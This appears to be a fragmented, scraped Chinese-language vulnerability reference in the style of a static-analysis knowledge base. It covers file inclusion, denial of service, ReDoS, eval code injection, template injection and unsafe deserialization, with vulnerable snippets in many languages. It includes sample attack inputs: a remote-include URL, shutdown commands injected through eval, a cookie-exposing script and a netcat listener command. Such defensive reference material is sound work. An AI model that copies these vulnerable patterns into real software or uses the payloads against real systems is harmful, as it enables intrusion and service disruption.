...
ClientScript.RegisterClientScriptInclude("RequestParameterScript", HttpContext.Current.Request.Params["includedURL"]);
...
Example 1
中,攻击者可通过为 includedURL
提供恶意值来完全控制动态 include 语句,从而会使程序包含来自外部站点的文件。web.config
,该文件可能会作为 HTML 输出的一部分来呈现。更为糟糕的是,如果攻击者可以指定一条路径来指向被自己控制的远程站点,那么动态 include 指令就会执行由攻击者提供的任意恶意代码。
...
<jsp:include page="<%= (String)request.getParameter(\"template\")%>">
...
specialpage.jsp?template=/WEB-INF/database/passwordDB
/WEB-INF/database/passwordDB
文件的内容在 JSP 页面上呈现,从而对系统安全造成威胁。c:import
标签将用户指定的远程文件导入当前的 JSP 页面。
...
<c:import url="<%= request.getParameter("privacy")%>">
...
policy.jsp?privacy=http://www.malicioushost.com/attackdata.js
register_globals
,从而使攻击者很容易重写内部服务器的各种变量。尽管禁用 register_globals
可以从一定程度上减少程序发生 file inclusion 漏洞的风险,但是这些问题仍然存在于各种现代的 PHP 应用程序中。 $server_root
的应用程序下。
...
<?php include($server_root . '/myapp_header.php'); ?$gt;
...
register_globals
设置为 on
,攻击者可以通过提供 $server_root
请求参数覆盖 $server_root
值,从而部分控制动态 include 指令。
...
<?php include($_GET['headername']); ?$gt;
...
Example 2
中,攻击者可通过为 headername
提供恶意值来完全控制动态 include 语句,从而会使程序包含来自外部站点的文件。/etc/shadow
,该文件可能会作为 HTML 输出的一部分来呈现。更为糟糕的是,如果攻击者可以指定一条路径来指向被自己控制的远程站点,那么动态 include 指令就会执行由攻击者提供的任意恶意代码。
...
CALL FUNCTION 'ENQUE_SLEEP'
EXPORTING
SECONDS = usrInput.
...
GetTokenBucketLimiter()
方法在创建 RateLimitPartition 时使用远程 IP 地址 (RemoteIpAddress
) 作为分区键:
...
builder.Services.AddRateLimiter(limiterOptions => {
limiterOptions.GlobalLimiter = PartitionedRateLimiter.Create<HttpContext, IPAddress>(context => {
IPAddress? ip = context.Connection.RemoteIpAddress;
return RateLimitPartition.GetTokenBucketLimiter(ip!, _ =>
new TokenBucketRateLimiterOptions
{
TokenLimit = 7
});
});
});
...
unsigned int usrSleepTime = uatoi(usrInput);
sleep(usrSleepTime);
Sleep(url.duration);
Future
函数的执行时间。如果指定较大的数字,则攻击者可能会无限期地占用 Future
函数。
final duration = Platform.environment['DURATION'];
Future.delayed(Duration(seconds: int.parse(duration!)), () => ...);
func test(r *http.Request) {
...
i, _ := strconv.Atoi(r.FormValue("TIME"))
runtime.KeepAlive(i)
...
}
示例 2:以下代码从一个 zip 文件中读取字符串。因为它使用
int usrSleepTime = Integer.parseInt(usrInput);
Thread.sleep(usrSleepTime);
readLine()
方法,所以可以读取一批极大量的输入。攻击者能够利用该代码引发一个 OutOfMemoryException
异常,或者消耗大量的内存,从而致使程序需要更多的时间去执行垃圾信息的收集,或在随后的操作过程中用完内存资源。
InputStream zipInput = zipFile.getInputStream(zipEntry);
Reader zipReader = new InputStreamReader(zipInput);
BufferedReader br = new BufferedReader(zipReader);
String line = br.readLine();
示例 2:下列代码会写入一个文件。由于在用户代理将此文件视为已关闭之前,此文件可能会持续写入和重写,因此磁盘配额、IO 带宽和可能需要分析此文件内容的进程都会受到影响。
var fsync = requestFileSystemSync(0, userInput);
function oninit(fs) {
fs.root.getFile('applog.txt', {create: false}, function(fileEntry) {
fileEntry.createWriter(function(fileWriter) {
fileWriter.seek(fileWriter.length);
var bb = new BlobBuilder();
bb.append('Appending to a file');
fileWriter.write(bb.getBlob('text/plain'));
}, errorHandler);
}, errorHandler);
}
window.requestFileSystem(window.TEMPORARY, 1024*1024, oninit, errorHandler);
procedure go_sleep (
usrSleepTime in NUMBER)
is
dbms_lock.sleep(usrSleepTime);
connect
函数指定连接超时的持续时间。如果指定较大的数字,则攻击者可能会无限期地占用 connect
函数。
...
insecure_config_ssl_connection_timeout = {
'user': username,
'password': retrievedPassword,
'host': databaseHost,
'port': "3306",
'connection_timeout': connection_timeout
}
mysql.connector.connect(**insecure_config_ssl_connection_timeout)
...
示例 2:以下代码从一个文件中读取字符串。因为它在未指定限制的情况下使用
Kernel.sleep(user_input)
readline()
方法,所以它将读取无限量的输入。攻击者可能会利用这个代码使进程挂起,同时消耗越来越多的内存,甚至可能完全耗尽内存。
fd = File.new(myFile)
line = fd.readline
Formatter.format()
的格式字符串参数。
...
Formatter formatter = new Formatter(Locale.US);
String format = "The customer: %s %s has the balance %4$." + userInput + "f";
formatter.format(format, firstName, lastName, accountNo, balance);
...
java.util.MissingFormatArgumentException
等异常。此外,由于它不在 try 块中,因此可能会造成应用程序故障。 accountNo
包含在生成的字符串中。java.lang.Double.parseDouble()
及相关方法时出现漏洞,会导致在解析 [2^(-1022) - 2^(-1075) : 2^(-1022) - 2^(-1076)]
范围内的任意数字时挂起线程。此缺陷可被攻击者用于执行拒绝服务 (DoS) 攻击。
Double d = Double.parseDouble(request.getParameter("d"));
d
参数值位于该范围(例如 "0.0222507385850720119e-00306"
)内的请求,致使程序在处理该请求时被挂起。
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
NSString *regex = @"^(e+)+$";
NSPredicate *pred = [NSPRedicate predicateWithFormat:@"SELF MATCHES %@", regex];
if ([pred evaluateWithObject:mystring]) {
//do something
}
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e+)+
([a-zA-Z]+)*
(e|ee)+
(e+)+
([a-zA-Z]+)*
(e|ee)+
let regex : String = "^(e+)+$"
let pred : NSPredicate = NSPRedicate(format:"SELF MATCHES \(regex)")
if (pred.evaluateWithObject(mystring)) {
//do something
}
Example 1
中,如果攻击者提供了匹配字符串“eeeeZ”,则正则表达式解析器必须经过 16 次内部求值才能识别出匹配项。如果攻击者使用 16 个“e”(“eeeeeeeeeeeeeeeeZ”)作为匹配字符串,则正则表达式解析器必须进行 65536 (2^16) 次计算。通过增加连续的匹配字符数,攻击者可以轻易地消耗计算资源。已知的正则表达式实现方式均无法避免这种漏洞。所有平台和语言都容易受到这种攻击。
Marker child = MarkerManager.getMarker("child");
Marker parent = MarkerManager.getMarker("parent");
child.addParents(MarkerManager.getMarker(userInput));
parent.addParents(MarkerManager.getMarker(userInput2));
String toInfinity = child.toString();
child
和 parent
的父标记设置为用户定义的标记。如果用户将 child
的父标记设置为 parent
,将 parent
的父标记设置为 child
,则会在标记数据结构中创建一个循环链接。在包含循环链接的数据结构上运行递归 toString
方法时,程序会抛出堆栈溢出异常并崩溃。这会因堆栈耗尽而导致 Denial of Service 攻击。StringBuilder
或 StringBuffer
实例会导致 JVM 过度使用堆内存空间。StringBuilder
或 StringBuffer
实例,会导致应用程序在调整基础数组的大小以适应用户数据时占用大量堆内存。将数据附加到 StringBuilder
或 StringBuffer
实例上时,实例将确定支持字符数组是否有足够的可用空间来存储数据。如果数据不合适,StringBuilder
或 StringBuffer
实例将会创建新的数组,其容量至少为以前数组大小的两倍,而旧数组在进行回收之前,将继续留在堆中。攻击者可以利用此实现详细信息执行 Denial of Service (DoS) 攻击。StringBuilder
实例。
...
StringBuilder sb = new StringBuilder();
final String lineSeparator = System.lineSeparator();
String[] labels = request.getParameterValues("label");
for (String label : labels) {
sb.append(label).append(lineSeparator);
}
...
StringBuilder
或 StringBuffer
实例会导致 JVM 过度使用堆内存空间。StringBuilder
或 StringBuffer
实例,会导致应用程序在调整基础数组的大小以适应用户数据时占用大量堆内存。将数据附加到 StringBuilder
或 StringBuffer
实例上时,实例将确定支持字符数组是否有足够的可用空间来存储数据。如果数据不合适,StringBuilder
或 StringBuffer
实例将会创建新的数组,其容量至少为以前数组大小的两倍,而旧数组在进行回收之前,将继续留在堆中。攻击者可以利用此实现详细信息执行 Denial of Service (DoS) 攻击。StringBuilder
实例。
...
val sb = StringBuilder()
val labels = request.getParameterValues("label")
for (label in labels) {
sb.appendln(label)
}
...
...
user_ops = request->get_form_field( 'operation' ).
CONCATENATE: 'PROGRAM zsample.| FORM calculation. |' INTO code_string,
calculator_code_begin user_ops calculator_code_end INTO code_string,
'ENDFORM.|' INTO code_string.
SPLIT code_string AT '|' INTO TABLE code_table.
GENERATE SUBROUTINE POOL code_table NAME calc_prog.
PERFORM calculation IN PROGRAM calc_prog.
...
operation
参数的值为良性值时,程序可以正常运行。但是,如果攻击者指定的语言操作有效,而且为恶意操作时,只有在对主进程具有完全权限的情况下才能执行这些操作。当注入的代码可以访问系统资源或执行系统命令时,这类攻击的危险性进一步加大。例如,如果攻击者打算将“MOVE 'shutdown -h now' to cmd.CALL 'SYSTEM' ID 'COMMAND' FIELD cmd ID 'TAB' FIELD TABL[].”指定为 operation
的值,主机系统就会执行关机命令。
...
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var userOps:String = String(params["operation"]);
result = ExternalInterface.call("eval", userOps);
...
operation
参数的值为良性值,程序就可以正常运行。例如,当该值为 "8 + 7 * 2" 时,result
变量被赋予的值将为 22。然而,如果攻击者指定的语言操作既有可能是有效的,又有可能是恶意的,那么,只有在对主进程具有完全权限的情况下才能执行这些操作。如果底层语言提供了访问系统资源的途径或允许执行系统命令,这种攻击甚至会更加危险。对于 ActionScript,攻击者可以利用这种漏洞进行跨站点脚本攻击。
...
public static object CEval(string sCSCode)
{
CodeDomProvider icc = CodeDomProvider.CreateProvider("CSharp");
CompilerParameters cparam = new CompilerParameters();
cparam.ReferencedAssemblies.Add("system.dll");
cparam.CompilerOptions = "/t:library";
cparam.GenerateInMemory = true;
StringBuilder sb_code = new StringBuilder("");
sb_code.Append("using System;\n");
sb_code.Append("namespace Fortify_CodeEval{ \n");
sb_code.Append("public class FortifyCodeEval{ \n");
sb_code.Append("public object EvalCode(){\n");
sb_code.Append(sCSCode + "\n");
sb_code.Append("} \n");
sb_code.Append("} \n");
sb_code.Append("}\n");
CompilerResults cr = icc.CompileAssemblyFromSource(cparam, sb_code.ToString());
if (cr.Errors.Count > 0)
{
logger.WriteLine("ERROR: " + cr.Errors[0].ErrorText);
return null;
}
System.Reflection.Assembly a = cr.CompiledAssembly;
object o = a.CreateInstance("Fortify_CodeEval.FortifyCodeEval");
Type t = o.GetType();
MethodInfo mi = t.GetMethod("EvalCode");
object s = mi.Invoke(o, null);
return s;
}
...
sCSCode
参数的值为良性值,程序就可以正常运行。例如,当该值为“return 8 + 7 * 2”时,函数 CEval
的返回值为 22。但是,如果攻击者指定的语言操作有效,而且为恶意操作时,只有在对主进程具有完全权限的情况下才能执行这些操作。如果底层语言提供了访问系统资源的途径或允许执行系统命令,这种攻击甚至会更加危险。例如,.Net 允许调用 Windows API;如果攻击者计划将“return System.Diagnostics.Process.Start(\"shutdown\", \"/s /t 0\");”指定为 operation
的值,主机系统就会执行关机命令。
...
ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
ScriptEngine scriptEngine = scriptEngineManager.getEngineByExtension("js");
userOps = request.getParameter("operation");
Object result = scriptEngine.eval(userOps);
...
operation
参数的值为良性值,程序就可以正常运行。例如,当该值为 "8 + 7 * 2" 时,result
变量被赋予的值将为 22。然而,如果攻击者指定的语言操作既有可能是有效的,又有可能是恶意的,那么,只有在对主进程具有完全权限的情况下才能执行这些操作。如果底层语言提供了访问系统资源的途径或允许执行系统命令,这种攻击甚至会更加危险。例如,JavaScript 允许调用 Java 对象;如果攻击者计划将 " java.lang.Runtime.getRuntime().exec("shutdown -h now")" 指定为 operation
的值,则主机系统就会执行关机命令。
...
userOp = form.operation.value;
calcResult = eval(userOp);
...
operation
参数的值为良性值,程序就可以正常运行。例如,当该值为 "8 + 7 * 2" 时,calcResult
变量被赋予的值将为 22。然而,如果攻击者指定的语言操作既有可能是有效的,又有可能是恶意的,那么,只有在对主进程具有完全权限的情况下才能执行这些操作。如果底层语言提供了访问系统资源的途径或允许执行系统命令,这种攻击甚至会更加危险。对于 JavaScript,攻击者还可以利用这种漏洞进行 cross-site scripting 攻击。
...
@property (strong, nonatomic) WKWebView *webView;
@property (strong, nonatomic) UITextField *inputTextField;
...
[_webView evaluateJavaScript:[NSString stringWithFormat:@"document.body.style.backgroundColor="%@";", _inputTextField.text] completionHandler:nil];
...
webView
中的 <body>
元素会设置为蓝色背景样式。然而,如果攻击者提供仍然有效的恶意输入,则也许能够执行任意 JavaScript 代码。例如,因为 JavaScript 可以访问特定类型的私人信息(如 cookies),所以如果攻击者指定 “white";document.body.innerHTML=document.cookie;”作为 UITextField 的输入,cookie 信息将会以可视方式写入页面中。当底层语言提供了对系统资源的访问或允许执行系统命令时,此类攻击甚至更危险,因为在这些情况下,将在对主进程具有完全权限的情况下执行注入的代码。
...
$userOps = $_GET['operation'];
$result = eval($userOps);
...
operation
参数的值为良性值,程序就可以正常运行。例如,当该值为“8 + 7 * 2”时,result
变量被赋予的值将为 22。然而,如果攻击者指定的语言操作是有效的,又是恶意的,那么,将在对主进程具有完全权限的情况下执行这些操作。如果底层语言提供了访问系统资源的途径或允许执行系统命令,这种攻击甚至会更加危险。例如,如果攻击者计划将“exec('shutdown -h now')”指定为 operation
的值,主机系统就会执行关机命令。
...
userOps = request.GET['operation']
result = eval(userOps)
...
operation
参数的值为良性值,程序就可以正常运行。例如,当该值为“8 + 7 * 2”时,result
变量被赋予的值将为 22。然而,如果攻击者指定的语言操作是有效的,又是恶意的,那么,将在对主进程具有完全权限的情况下执行这些操作。如果底层语言提供了访问系统资源的途径或允许执行系统命令,这种攻击甚至会更加危险。例如,如果攻击者计划将“os.system('shutdown -h now')”指定为 operation
的值,主机系统就会执行关机命令。
...
user_ops = req['operation']
result = eval(user_ops)
...
operation
参数的值为良性值,程序就可以正常运行。例如,当该值为 "8 + 7 * 2" 时,result
变量被赋予的值将为 22。然而,如果攻击者指定的语言操作既有可能是有效的,又有可能是恶意的,那么,只有在对主进程具有完全权限的情况下才能执行这些操作。如果底层语言提供了访问系统资源的途径或允许执行系统命令,这种攻击甚至会更加危险。借助 Ruby,这可以实现,因为通过使用分号 (;
) 分隔这些行,可以运行多个命令,此外,使用一个简单的注入,也可以运行多个命令,同时还没有破坏程序。operation
"system(\"nc -l 4444 &\");8+7*2",那么这将打开端口 4444 以侦听计算机上的连接,然后仍然将值 22 返回到 result
...
var webView : WKWebView
var inputTextField : UITextField
...
webView.evaluateJavaScript("document.body.style.backgroundColor="\(inputTextField.text)";" completionHandler:nil)
...
webView
中的 <body>
元素会设置为蓝色背景样式。然而,如果攻击者提供仍然有效的恶意输入,则也许能够执行任意 JavaScript 代码。例如,因为 JavaScript 可以访问特定类型的私人信息(如 cookies),所以如果攻击者指定 “white";document.body.innerHTML=document.cookie;”作为 UITextField 的输入,cookie 信息将会以可视方式写入页面中。当底层语言提供了对系统资源的访问或允许执行系统命令时,此类攻击甚至更危险,因为在这些情况下,将在对主进程具有完全权限的情况下执行注入的代码。
...
strUserOp = Request.Form('operation')
strResult = Eval(strUserOp)
...
operation
参数为“8 + 7 * 2”的示例中,程序的预期行为是可行的。strResult
变量应返回的值为 22。然而,如果用户打算指定其他有效的语言操作,那么系统不仅会执行这些操作,还会在对主进程具有完全权限的情况下执行。如果底层语言提供了访问系统资源的途径,或者允许执行系统命令,那么执行任意代码会更加危险。例如,如果攻击者打算将 operation
指定为“Shell('C:\WINDOWS\SYSTEM32\TSSHUTDN.EXE 0 /DELAY:0 /POWERDOWN')”,主机系统会执行关机命令。
...
ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
ScriptEngine scriptEngine = scriptEngineManager.getEngineByExtension("js");
ScriptContext newContext = new SimpleScriptContext();
Bindings engineScope = newContext.getBindings(request.getParameter("userName"));
userOps = request.getParameter("operation");
Object result = scriptEngine.eval(userOps,newContext);
...
page_scope
参数是期望的用户名时,程序将正常运行。但是,如果攻击者为 GLOBAL_SCOPE
指定值,则上述操作将访问同一 ScriptEngine
创建的所有引擎内的所有属性。
...
String address = request.getParameter("address");
Properties props = new Properties();
props.put(Provider_URL, "rmi://secure-server:1099/");
InitialContext ctx = new InitialContext(props);
ctx.lookup(address);
...
string name = Request["username"];
string template = "Hello @Model.Name! Welcome " + name + "!";
string result = Razor.Parse(template, new { Name = "World" });
...
operation
参数的值为良性值,程序就可以正常运行。例如,当该值为 "John" 时,result
变量被赋予的值将为 "Hello World!Welcome John!"。然而,如果攻击者指定的语言操作既有可能是有效的,又有可能是恶意的,那么,只有在对主进程具有完全权限的情况下才能执行这些操作。如果底层语言提供了访问系统资源的途径或允许执行系统命令,这种攻击甚至会更加危险。例如,Razor 允许调用 C# 对象;如果攻击者计划将 " @{ System.Diagnostics.Process proc = new System.Diagnostics.Process(); proc.EnableRaisingEvents=false; proc.StartInfo.FileName=\"calc\"; proc.Start(); }" 指定为 name
的值,主机系统就会执行系统命令。
...
ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
ScriptEngine scriptEngine = scriptEngineManager.getEngineByExtension("js");
userOps = request.getParameter("operation");
Object result = scriptEngine.eval(userOps);
...
operation
参数的值为良性值,程序就可以正常运行。例如,当该值为 "8 + 7 * 2" 时,result
变量被赋予的值将为 22。然而,如果攻击者指定的语言操作既有可能是有效的,又有可能是恶意的,那么,只有在对主进程具有完全权限的情况下才能执行这些操作。如果底层语言提供了访问系统资源的途径或允许执行系统命令,这种攻击甚至会更加危险。例如,JavaScript 允许调用 Java 对象;如果攻击者计划将 " java.lang.Runtime.getRuntime().exec("shutdown -h now")" 指定为 operation
的值,则主机系统就会执行关机命令。
...
userOp = form.operation.value;
calcResult = eval(userOp);
...
operation
参数的值为良性值,程序就可以正常运行。例如,当该值为“8 + 7 * 2”时,calcResult
变量被赋予的值将为 22。然而,如果攻击者指定的语言操作既有可能是有效的,又有可能是恶意的,那么,只有在对主进程具有完全权限的情况下才能执行这些操作。如果底层语言提供了访问系统资源的途径或允许执行系统命令,这种攻击甚至会更加危险。对于 JavaScript,攻击者还可以利用这种漏洞进行 cross-site scripting 攻击。
...
strUserOp = Request.Form('operation')
strResult = Eval(strUserOp)
...
operation
参数为“8 + 7 * 2”的示例中,程序的预期行为是可行的。strResult
变量应返回的值为 22。然而,如果用户打算指定其他有效的语言操作,那么系统不仅会执行这些操作,还会在对主进程具有完全权限的情况下执行。如果底层语言提供了访问系统资源的途径,或者允许执行系统命令,那么执行任意代码会更加危险。例如,如果攻击者打算将 operation
指定为“Shell('C:\WINDOWS\SYSTEM32\TSSHUTDN.EXE 0 /DELAY:0 /POWERDOWN')”,主机系统会执行关机命令。BeanUtilsHashMapper
反序列化 Redis Hash,这可能允许攻击者控制此类 Hash 来运行任意代码。
HashMapper<Person, String, String> hashMapper = new BeanUtilsHashMapper<Person>(Person.class);
Person p = hashMapper.fromHash(untrusted_map);
Stream
对象作为输入,并将其重新反序列化为 .NET 对象。然后在将其转换为字符串对象列表后返回结果:
...
List <string> Deserialize(Stream input)
{
var bf = new BinaryFormatter();
var result = (List <string>)bf.Deserialize(input);
return result;
}
...
Example 1
可按以下方式重写:
...
List <string> Deserialize(Stream input)
{
var bf = new BinaryFormatter();
object tmp = bf.Deserialize(input);
List <string> result = (List <string>)tmp;
return result;
}
...
Example 2
中,不管类型是否为 List <string>
,只要输入流有效,反序列化操作就会成功。bin
文件夹或 GAC
中且无法由攻击者注入的可序列化类中,会自定义反序列化例程,所以这些攻击的可利用性取决于应用程序环境中的可用类。令人遗憾的是,常用的第三方类,甚至 .NET 类都可以被滥用,导致系统资源耗尽、删除文件、部署恶意文件或运行任意代码。XStream
实例。
XStream xstream = new XStream();
String body = IOUtils.toString(request.getInputStream(), "UTF-8");
Contact expl = (Contact) xstream.fromXML(body);
var yamlString = getYAMLFromUser();
// Setup the input
var input = new StringReader(yamlString);
// Load the stream
var yaml = new YamlStream();
yaml.Load(input);
var yaml = require('js-yaml');
var untrusted_yaml = getYAMLFromUser();
yaml.load(untrusted_yaml)
import yaml
yamlString = getYamlFromUser()
yaml.load(yamlString)